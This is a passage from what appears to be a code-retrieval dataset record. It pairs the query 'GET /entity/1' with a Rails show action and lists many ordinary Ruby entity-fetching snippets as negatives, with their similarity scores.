}\n end\n end", "def entities\n return bad_request unless params[:id] and request.format.json? || request.format.js?\n return not_found unless current_document\n @response = {'entities' => current_document.ordered_entity_hash}\n render_cross_origin_json\n end", "def show\n @conceptual_entity = ConceptualEntity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conceptual_entity }\n end\n end", "def show\n @breadcrumb = 'read'\n @entity_type = EntityType.find(params[:id])\n @entities = @entity_type.entities.paginate(:page => params[:page], :per_page => per_page).order('fiscal_id')\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_type }\n end\n end", "def show\n @entity_mapping = EntityMapping.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_mapping }\n end\n end", "def show\n if singular_resource?\n entity = ConnecEntity.where(group_id: @group_id, entity_name: entities_key).first\n entity ||= ConnecEntity.create(group_id: @group_id, entity_name: entities_key)\n else\n entity = ConnecEntity.where(group_id: @group_id, entity_name: entities_key, uid: params[:id]).first\n end\n \n if entity\n logger.info(\"INSPECT: #{entities_key} => #{process_entity(entity).to_json}\")\n render json: { entities_key => process_entity(entity) }\n else\n render json: { errors: process_errors([\"Resource not found\"], 404) }, status: :not_found\n end\n end", "def show\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entity }\n end\n end", "def show_entities\n rule = Rule.find_by(id: HASHIDS.decode(params[:rule_id]))\n return head :not_found if rule.nil?\n # raise Exceptions::SecurityTransgression unless rule.viewable_by? current_user\n render json: rule.entities, host: request.host_with_port, include: ['entity_type'], root: false, status: :ok\n end", "def get(id)\n json = self.http_client.get_content \"#{self.base_url}#{self.service_base_path}/#{id}.json\", :api_key => self.access_token\n ne = new_entity\n ne.from_hash(JSON.parse(trata_erro(json)))\n ne\n end", "def get(id)\n json = self.http_client.get_content \"#{self.base_url}#{self.service_base_path}/#{id}.json\", :api_key => self.access_token\n ne = new_entity\n ne.from_hash(JSON.parse(trata_erro(json)))\n ne\n end", "def show\n @collection = current_user.collections.find(params[:collection_id])\n @entity_type = @collection.entity_types.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_type }\n end\n end", "def show\n render json: @entity.to_json if request.xhr?\n end", "def entity\n @response_impl.entity\n end", "def new\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def entity\n @keys[:entity]\n end", "def show\n begin\n @resource = Entity.find params[:id]\n render :response => :GET\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end", "def show\n\t\tid = params[:id]\n\t\tlang = params[:lang] || I18n.locale\n\n\t\tif is_a_number?(id)\n\t\t\tmodel = entity.with_relationships.find_by(id: params[:id])\n\t\telse\n\t\t\tmodel = entity.with_relationships.lang(lang).find_by(slug: params[:id])\n\t\tend\n\n\t\trender json: model.to_json(:except => [:keywords],\n\t\t\t:include => [\n\t\t\t\t:translations,\n\t\t\t\t:translation,\n\t\t\t\t{:categories => {:except => [:description]} },\n\t\t\t\t:lawyers,\n\t\t\t\t:gallery\n\t\t])\n\n\tend", "def index\n @student_entities = StudentEntity.all\n render json: @student_entities, status: :ok\n end", "def index\n @entities = Entity.all\n end", "def index\n @entities = Entity.all\n end", "def show\n token_ok, token_error = helpers.API_validate_token(request)\n if not token_ok\n render json: {message: token_error }, status: 401\n else\n rec_id = params[:id].to_i\n begin\n o = Entity.find(rec_id)\n @rec = { \n id: o.id,\n name: o.name,\n address1: o.address1,\n address2: o.address2,\n city: o.city,\n zipcode: o.zipcode,\n state: o.state,\n alias: o.alias,\n entityType: o.entity_type,\n countryId: o.country_id,\n companyId: o.company_id\n }\n rescue ActiveRecord::RecordNotFound\n @rec = {}\n end\n\n respond_to do |format|\n format.json { render json: @rec }\n end\n end\n end", "def body_entity(entity_id)\n {\n :entity_id => entity_id,\n :options => {\"pretty\"=>\"true\"}\n }\n end", "def getEntityBy_user_id( user_id)\n params = Hash.new\n params['user_id'] = user_id\n return doCurl(\"get\",\"/entity/by_user_id\",params)\n end", "def request_with_entity(verb, uri, entity, headers = {})\n cur_page = current_page || Page.new\n\n log.debug(\"query: #{ entity.inspect }\") if log\n\n headers = {\n 'Content-Type' => 'application/octet-stream',\n 'Content-Length' => entity.size.to_s,\n }.update headers\n\n page = @agent.fetch uri, verb, headers, [entity], cur_page\n add_to_history(page)\n page\n end", "def get\n @get ||= Verb.new do |verb|\n verb.entity :air, :lodging, :car, :rail, :transport, \\\n :cruise, :restaurant, :activity, :note, :map, :directions, \\\n :points_program \\\n do |entity, id|\n do_request('get', entity, {:id=>id}, nil)\n end\n\n verb.entity :profile do |*args|\n entity = args[0]\n do_request('get', entity, nil, nil)\n end\n\n verb.entity :trip do |*args|\n entity, id, filter = args\n if filter.nil?\n filter = {}\n end\n filter[:id] = id\n do_request('get', entity, filter, nil)\n end\n end\n end", "def get_entity(path)\n c_path = path.is_a?(CanonicalPath) ? path : CanonicalPath.parse(path)\n http_get(\"path#{c_path}\")\n end", "def show\n @entity_subtype = EntitySubtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_subtype }\n end\n end", "def show\n @crm_contact = CrmContact.find(params[:id])\n @EntityObject=@crm_contact\n @entity_tags=@EntityObject.entity_tags\n @entity_tag=EntityTag.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crm_contact }\n end\n end", "def entity(dbname, id, params = {})\n version = params.fetch(:t, '-')\n get db_url(dbname, version, 'entity'), params.merge(:e => id)\n end", "def show\n begin\n @resource = get_relation(params[:id], params[:entity_id])\n render :response => :GET\n rescue Exception => e\n @error = process_exception(e)\n render :response => @error\n end\n \n \n\n end", "def get( *args )\r\n if args.size == 1\r\n entity = args[0]\r\n if entity.is_a?( Enumerable )\r\n entity.map { |entity| get_entity( entity, true ) }\r\n else\r\n get_entity( entity, true )\r\n end\r\n else\r\n args.map { |entity| get_entity( entity, true ) }\r\n end\r\n end", "def index\n @entities = Entity.find(:all, :limit=>100)\n EntitiesHelper.setModelGraph(\"public/UMLmodel.png\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n end\n end", "def get_workspace_entity(workspace_namespace, workspace_name, entity_type, entity_name)\n path = self.api_root + \"/api/workspaces/#{uri_encode(workspace_namespace)}/#{uri_encode(workspace_name)}/entities/#{entity_type}/#{entity_name}\"\n process_firecloud_request(:get, path)\n end", "def create\n @entity = Entity.new(entity_params)\n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity.entity ? @entity.entity : entities_path, notice: 'Entity was successfully created.' }\n format.json { render :show, status: :created, location: @entity }\n else\n\t @entities = @entity.entity ? @entity.entity.sub_entities : Entity.where(entity_id: nil)\n format.html { render :index }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def entities; end", "def index\n @verbindung = Verbindung.find(params[:verbindung_id])\n @entities = PruegelEntity.where(:verbindung_id => @verbindung.id).where(:type => get_type).paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n end\n end", "def show\n @parent = @entity.entity\n @entities = @entity.sub_entities\n\t@entity = Entity.new(entity_id: @entity.id)\n render :index\n end", "def show\n\t\t\tputs params.to_s\n\t\t\n\t\t\tset_individual_action_meta_information({\n\t\t\t\t:title => @entity.page_title,\n\t\t\t\t:description => @entity.page_description\n\t\t\t})\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html do \n\t\t\t\t\trender \"/entities/show\"\n\t\t\t\tend\n\t\t\t\tformat.js do \n\t\t\t\t\trender \"/entities/show\"\n\t\t\t\tend\n\t\t\t\tformat.json do \n\t\t\t\t\trender :json => @entity.as_json\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def index\n @entities = Entity.all.page(params[:page])\n end", "def show\n student = StudentEntity.find_by(id: params[:id])\n if student.present?\n render json: student, staus: :ok\n else\n render json: {msg: \"not found\"}, staus: :not_found\n end\n end", "def getEntityRevisions( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/entity/revisions\",params)\n end", "def show\n render json: serialize(read_resource(resource), options), status: :ok\n end", "def show\n render json: @identity\n end", "def api_v11_timeseries_entity_type_attributes_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_timeseries_entity_type_attributes_get ...\"\n end\n \n # resource path\n path = \"/api/v11/timeseries/entityTypeAttributes\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_timeseries_entity_type_attributes_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @lent = Lent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lent }\n end\n end", "def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end", "def index\n @entities = Entity::Repo.roots\n end", "def request_with_entity(verb, uri, entity, headers = T.unsafe(nil)); end", "def get(entity)\n @components[entity.id] \n end", "def show\n @enterprise = Enterprise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enterprise }\n end\n end", "def show\n @county = Entity.where(id: params[:id]).where(entity_type: 'County').first\n respond_with(@county) do |format|\n format.geojson { render text: @county.to_geojson }\n end\n end", "def set_entity\n @entity = Entity::Repo.find(params[:id])\n end", "def index\n @entity_mappings = EntityMapping.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entity_mappings }\n end\n end", "def entity\n @entity ||=\n if entity_class.respond_to? :from_token_request\n entity_class.from_token_request request\n else\n entity_class.find_by username: auth_params[:username]\n end\n end", "def api_v11_timeseries_entity_types_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_timeseries_entity_types_get ...\"\n end\n \n # resource path\n path = \"/api/v11/timeseries/entityTypes\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_timeseries_entity_types_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @puestos_entidad = PuestosEntidad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puestos_entidad }\n end\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{entity_type} #{path.include?('-/')}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end", "def show\n if admin?\n @entity_datum = EntityDatum.find(params[:id])\n else\n @entity_datum = EntityDatum.find current_entity.property_document_id\n end # end if admin?\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entity_datum }\n end\n end", "def show\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio_entrega }\n end\n end", "def show\n @clothing_article = ClothingArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clothing_article }\n end\n end", "def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n entity_type = Occi::Core::Resource unless entity_type\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{path.include?('-/')} #{entity_type} #{response.headers.inspect}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end", "def show\n render json: @specification, serializer: Web::V1::SpecificationSerializer\n end", "def show\n @get = Get.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @get }\n end\n end", "def load_entity(type, id)\n path = entity_path(type, id)\n data = service.get(path)\n create_entity(type, id, data)\n end", "def get \n render :json => User.find(params[:id])\n end", "def get_data(handle)\n handle = Entity::Handle.new(handle)\n entity_hash = request(:get_data, {\n 'entityHandle' => handle.to_hash\n })\n entity_hash\n end", "def show\n @entity = Entity.find(params[:id])\n session[:entity_id] = @entity.id\n session[:company_id] = @entity.company.id.to_i\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entity }\n end\n end", "def entities\n _entities\n end", "def entities\n _entities\n end", "def add_entity\n res = {\n :success => false,\n :msg => '',\n :data => {}\n }\n if (params[:id].nil?)\n res[:msg] = 'order/update_entity was called without an :id'\n return render(:json => res.to_json, :layout => false)\n end\n \n order = Order.find_by_id(params[:id])\n entities = order.type.entities\n entities.each do |e|\n if (e.name == params[\"entity\"])\n data = params[e.name]\n data[:order_id] = params[:id]\n data[:order_type_entity_id] = e.id\n oe = OrderEntity.create(data)\n \n res[:success] = true\n res[:data][:entity] = oe.to_h\n res[:msg] = \"Added #{oe.type.name.capitalize}\" \n end\n end \n render :json => res.to_json, :layout => false \n end", "def get_entity( name, parent_context = nil )\n id = @entity_names[ get_entity_unique_name(name, parent_context) ]\n @entity_list[ id ]\n end", "def show\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agente } \n end\n end", "def show\n @enterprise_datum = EnterpriseDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enterprise_datum }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end", "def show\n @excepcion_entrega = ExcepcionEntrega.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @excepcion_entrega }\n end\n end", "def get_entities(type)\n @entities[type.name]\n end", "def show\n @evclient = Evclient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evclient }\n end\n end", "def check_entity_existence(entity)\n exists = entity.exists?(params[:id])\n\n if !exists\n return render :json => {\n errors: \"#{entity.name} not found\"\n }, status: 404\n end\n end", "def show\n @entity_end_point_rel = EntityEndPointRel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entity_end_point_rel }\n end\n end", "def show\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @product }\n end\n end", "def show\n @etsy = Etsy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etsy }\n end\n end", "def show\n render json: Company.find(params[\"id\"])\n end", "def show\n @utente = Utente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @utente }\n end\n end", "def show\n @resource = Resource.find(params[:id])\n render json: @resource, status: 200\n end", "def create(entity)\n post(resource_path_for_entity(entity), entity.to_json)\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end" ]
[ "0.75823855", "0.75201654", "0.7507115", "0.7149724", "0.69445497", "0.6925524", "0.68810314", "0.68691486", "0.68230766", "0.6742496", "0.6706326", "0.6641274", "0.6521985", "0.645774", "0.6422497", "0.6411399", "0.6407991", "0.63794506", "0.63794506", "0.62808436", "0.6249926", "0.620013", "0.6175697", "0.61733097", "0.61568177", "0.61122125", "0.610496", "0.60963035", "0.60963035", "0.6093575", "0.6083858", "0.60823214", "0.607995", "0.6063938", "0.6062013", "0.60601896", "0.6044319", "0.60330033", "0.603085", "0.59900784", "0.59584475", "0.5952773", "0.59167707", "0.5897394", "0.58870554", "0.58748865", "0.5859349", "0.5845041", "0.5836482", "0.5811937", "0.5799996", "0.5798086", "0.5785287", "0.57776254", "0.57668114", "0.5760506", "0.5753502", "0.574934", "0.5746131", "0.57364756", "0.5720223", "0.57043976", "0.56982124", "0.5698157", "0.567216", "0.5665266", "0.5663681", "0.5649657", "0.5645126", "0.56450456", "0.56442446", "0.5644089", "0.5642667", "0.5640099", "0.56301695", "0.5622619", "0.56148404", "0.56013304", "0.56013304", "0.55977124", "0.5595712", "0.5594652", "0.5586739", "0.5586111", "0.5578632", "0.55784047", "0.5577229", "0.5568667", "0.55679846", "0.55630153", "0.55597275", "0.55576926", "0.5557026", "0.55558884", "0.55480784", "0.5547928", "0.5547928", "0.5547928", "0.5547928", "0.5547928", "0.5547928" ]
0.0
-1
GET /entity/1 GET /entity/1.json
def show @entity = @klass.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @entity } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end", "def show\n @entity = Entity.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end", "def get_entity(entity_name)\n uri = URI(@config[:server] + \"/#{entity_name}\")\n uri.query = URI.encode_www_form({:filter => @config[:filter]})\n \n result = Net::HTTP.get_response(uri)\n raise Exception(\"The request to #{uri} failed.\") unless result.is_a?(Net::HTTPSuccess)\n \n JSON.parse(result.body)\n \n rescue\n @logger.error(\"Unable to retrieve entity:\\n#{$!}\")\n []\n end", "def show\n @breadcrumb = 'read'\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end", "def show\n @entity = PruegelEntity.find(params[:id])\n @verbindung = Verbindung.find(params[:verbindung_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end", "def show\n @entity_tag = EntityTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_tag }\n end\n end", "def getEntity( entity_id, domain, path, data_filter)\n params = Hash.new\n params['entity_id'] = entity_id\n params['domain'] = domain\n params['path'] = path\n params['data_filter'] = data_filter\n return doCurl(\"get\",\"/entity\",params)\n end", "def show\n @conceptual_entity = ConceptualEntity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conceptual_entity }\n end\n end", "def show\n @breadcrumb = 'read'\n @entity_type = EntityType.find(params[:id])\n @entities = @entity_type.entities.paginate(:page => params[:page], :per_page => per_page).order('fiscal_id')\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_type }\n end\n end", "def show\n if singular_resource?\n entity = ConnecEntity.where(group_id: @group_id, entity_name: entities_key).first\n entity ||= ConnecEntity.create(group_id: @group_id, entity_name: entities_key)\n else\n entity = ConnecEntity.where(group_id: @group_id, entity_name: entities_key, uid: params[:id]).first\n end\n \n if entity\n logger.info(\"INSPECT: #{entities_key} => #{process_entity(entity).to_json}\")\n render json: { entities_key => process_entity(entity) }\n else\n render json: { errors: process_errors([\"Resource not found\"], 404) }, status: :not_found\n end\n end", "def show\n respond_with @entity, entity: _get_class\n end", "def show\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entity }\n end\n end", "def details(entity_id, request_options = \"\")\n API::request(:get, \"entities/#{entity_id}\" + request_options)\n end", "def show\n begin\n @resource = Entity.find params[:id]\n render :response => :GET\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end", "def show\n @entity_mapping = EntityMapping.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_mapping }\n end\n end", "def get(id)\n json = self.http_client.get_content \"#{self.base_url}#{self.service_base_path}/#{id}.json\", :api_key => self.access_token\n ne = new_entity\n ne.from_hash(JSON.parse(trata_erro(json)))\n ne\n end", "def get(id)\n json = self.http_client.get_content \"#{self.base_url}#{self.service_base_path}/#{id}.json\", :api_key => self.access_token\n ne = new_entity\n ne.from_hash(JSON.parse(trata_erro(json)))\n ne\n end", "def show\n @collection = current_user.collections.find(params[:collection_id])\n @entity_type = @collection.entity_types.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_type }\n end\n end", "def show\n begin\n @resource = get_relation(params[:id], params[:entity_id])\n render :response => :GET\n rescue Exception => e\n @error = process_exception(e)\n render :response => @error\n end\n \n \n\n end", "def entities\n return bad_request unless params[:id] and request.format.json? || request.format.js?\n return not_found unless current_document\n @response = {'entities' => current_document.ordered_entity_hash}\n render_cross_origin_json\n end", "def index\n @verbindung = Verbindung.find(params[:verbindung_id])\n @entities = PruegelEntity.where(:verbindung_id => @verbindung.id).where(:type => get_type).paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n end\n end", "def get( *args )\r\n if args.size == 1\r\n entity = args[0]\r\n if entity.is_a?( Enumerable )\r\n entity.map { |entity| get_entity( entity, true ) }\r\n else\r\n get_entity( entity, true )\r\n end\r\n else\r\n args.map { |entity| get_entity( entity, true ) }\r\n end\r\n end", "def show\n @entity_subtype = EntitySubtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_subtype }\n end\n end", "def getEntityBy_user_id( user_id)\n params = Hash.new\n params['user_id'] = user_id\n return doCurl(\"get\",\"/entity/by_user_id\",params)\n end", "def show\n\t\tid = params[:id]\n\t\tlang = params[:lang] || I18n.locale\n\n\t\tif is_a_number?(id)\n\t\t\tmodel = entity.with_relationships.find_by(id: params[:id])\n\t\telse\n\t\t\tmodel = entity.with_relationships.lang(lang).find_by(slug: params[:id])\n\t\tend\n\n\t\trender json: model.to_json(:except => [:keywords],\n\t\t\t:include => [\n\t\t\t\t:translations,\n\t\t\t\t:translation,\n\t\t\t\t{:categories => {:except => [:description]} },\n\t\t\t\t:lawyers,\n\t\t\t\t:gallery\n\t\t])\n\n\tend", "def show\n token_ok, token_error = helpers.API_validate_token(request)\n if not token_ok\n render json: {message: token_error }, status: 401\n else\n rec_id = params[:id].to_i\n begin\n o = Entity.find(rec_id)\n @rec = { \n id: o.id,\n name: o.name,\n address1: o.address1,\n address2: o.address2,\n city: o.city,\n zipcode: o.zipcode,\n state: o.state,\n alias: o.alias,\n entityType: o.entity_type,\n countryId: o.country_id,\n companyId: o.company_id\n }\n rescue ActiveRecord::RecordNotFound\n @rec = {}\n end\n\n respond_to do |format|\n format.json { render json: @rec }\n end\n end\n end", "def show_entities\n rule = Rule.find_by(id: HASHIDS.decode(params[:rule_id]))\n return head :not_found if rule.nil?\n # raise Exceptions::SecurityTransgression unless rule.viewable_by? current_user\n render json: rule.entities, host: request.host_with_port, include: ['entity_type'], root: false, status: :ok\n end", "def get\n @get ||= Verb.new do |verb|\n verb.entity :air, :lodging, :car, :rail, :transport, \\\n :cruise, :restaurant, :activity, :note, :map, :directions, \\\n :points_program \\\n do |entity, id|\n do_request('get', entity, {:id=>id}, nil)\n end\n\n verb.entity :profile do |*args|\n entity = args[0]\n do_request('get', entity, nil, nil)\n end\n\n verb.entity :trip do |*args|\n entity, id, filter = args\n if filter.nil?\n filter = {}\n end\n filter[:id] = id\n do_request('get', entity, filter, nil)\n end\n end\n end", "def index\n @entities = Entity.all\n end", "def index\n @entities = Entity.all\n end", "def new\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def index\n @student_entities = StudentEntity.all\n render json: @student_entities, status: :ok\n end", "def entity(dbname, id, params = {})\n version = params.fetch(:t, '-')\n get db_url(dbname, version, 'entity'), params.merge(:e => id)\n end", "def index\n @entities = Entity.all.page(params[:page])\n end", "def index\n @entities = Entity.find(:all, :limit=>100)\n EntitiesHelper.setModelGraph(\"public/UMLmodel.png\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n end\n end", "def show\n # placeholder code\n jsonapi_render_errors status: :unprocessable_entity\n # original code\n # @entry = retrieve_service.execute(name: params[:id])\n # return not_found unless @entry\n # jsonapi_render json: @entry\n end", "def get_entity(path)\n c_path = path.is_a?(CanonicalPath) ? path : CanonicalPath.parse(path)\n http_get(\"path#{c_path}\")\n end", "def show\n @article = Article.where(id: params[:id]).last\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end", "def show\n student = StudentEntity.find_by(id: params[:id])\n if student.present?\n render json: student, staus: :ok\n else\n render json: {msg: \"not found\"}, staus: :not_found\n end\n end", "def show\n render json: Company.find(params[\"id\"])\n end", "def show\n @resource = Resource.find(params[:id])\n render json: @resource, status: 200\n end", "def show\n\t\t\tputs params.to_s\n\t\t\n\t\t\tset_individual_action_meta_information({\n\t\t\t\t:title => @entity.page_title,\n\t\t\t\t:description => @entity.page_description\n\t\t\t})\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html do \n\t\t\t\t\trender \"/entities/show\"\n\t\t\t\tend\n\t\t\t\tformat.js do \n\t\t\t\t\trender \"/entities/show\"\n\t\t\t\tend\n\t\t\t\tformat.json do \n\t\t\t\t\trender :json => @entity.as_json\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def show\n @parent = @entity.entity\n @entities = @entity.sub_entities\n\t@entity = Entity.new(entity_id: @entity.id)\n render :index\n end", "def show\n render json: @specification, serializer: Web::V1::SpecificationSerializer\n end", "def show\n @enterprise = Enterprise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enterprise }\n end\n end", "def entity_by_id(model_class)\n halt 400 unless (params[:id].to_i.to_s == params[:id])\n model_class[params[:id]] || (halt 404)\n end", "def show\n @lent = Lent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lent }\n end\n end", "def show\n client = Client.retrieve_by_id(params[:id])\n\n render json: client, serializer: SingleClientSerializer\n end", "def show\n @county = Entity.where(id: params[:id]).where(entity_type: 'County').first\n respond_with(@county) do |format|\n format.geojson { render text: @county.to_geojson }\n end\n end", "def get \n render :json => User.find(params[:id])\n end", "def show\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commtent1 }\n end\n end", "def show\n @clothing_article = ClothingArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clothing_article }\n end\n end", "def request_with_entity(verb, uri, entity, headers = {})\n cur_page = current_page || Page.new\n\n log.debug(\"query: #{ entity.inspect }\") if log\n\n headers = {\n 'Content-Type' => 'application/octet-stream',\n 'Content-Length' => entity.size.to_s,\n }.update headers\n\n page = @agent.fetch uri, verb, headers, [entity], cur_page\n 